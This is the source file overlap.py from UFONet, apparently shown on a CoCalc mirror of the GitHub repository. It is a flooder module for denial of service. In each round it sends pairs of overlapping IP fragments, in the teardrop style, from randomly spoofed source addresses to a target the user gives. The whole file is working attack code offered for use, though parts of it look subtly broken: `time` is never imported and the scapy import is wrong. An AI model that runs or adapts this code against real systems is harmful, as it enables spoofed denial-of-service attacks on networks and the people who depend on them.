Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/overlap.py
1206 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
try:
14
from urlparse import urlparse
15
except:
16
from urllib.parse import urlparse
17
try:
18
from scapy import *
19
except:
20
print("\nError importing: scapy lib.\n")
21
sys.exit(2)
22
23
# UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)
24
def randIP():
25
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
26
return ip
27
28
def randInt():
29
x = random.randint(1,65535) # TCP ports
30
return x
31
32
def overlapize(ip, sport, rounds):
33
n=0
34
try:
35
for x in range (0,int(rounds)):
36
n=n+1
37
s_zombie_port = randInt()
38
IP_p = IP()
39
IP_p.src = randIP()
40
try:
41
IP_p.dst = ip
42
except:
43
print("[Error] [AI] [OVERLAP] Imposible to resolve IP from 'target' -> [Aborting!]\n")
44
break
45
try:
46
payload="A"*15
47
overlap="B"*9 # overlap size
48
send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x1, frag=0)/payload, verbose=0)
49
send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x0, frag=1)/overlap, verbose=0) # teardrop frag
50
print("[Info] [AI] [OVERLAP] Firing 'deuterium gravitons' ["+str(n)+"] -> [OVERLAPPING!]")
51
time.sleep(1) # sleep time required for balanced sucess
52
except:
53
print("[Error] [AI] [OVERLAP] Failed to engage with 'deuterium gravitons' ["+str(n)+"]")
54
except:
55
print("[Error] [AI] [OVERLAP] Failing to engage... -> Is still target online? -> [Checking!]")
56
57
class OVERLAP(object):
58
def attacking(self, target, rounds):
59
print("[Info] [AI] 'IP OVERLAPPING' (OVERLAPGER) is ready to fire: [" , rounds, "deuterium gravitons ]")
60
if target.startswith('http://'):
61
target = target.replace('http://','')
62
sport = 80
63
elif target.startswith('https://'):
64
target = target.replace('https://','')
65
sport = 443
66
try:
67
ip = socket.gethostbyname(target)
68
except:
69
try:
70
import dns.resolver
71
r = dns.resolver.Resolver()
72
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
73
url = urlparse(target)
74
a = r.query(url.netloc, "A") # A record
75
for rd in a:
76
ip = str(rd)
77
except:
78
ip = target
79
if ip == "127.0.0.1" or ip == "localhost":
80
print("[Info] [AI] [OVERLAP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
81
return
82
overlapize(ip, sport, rounds) # attack with OVERLAP using threading
83
84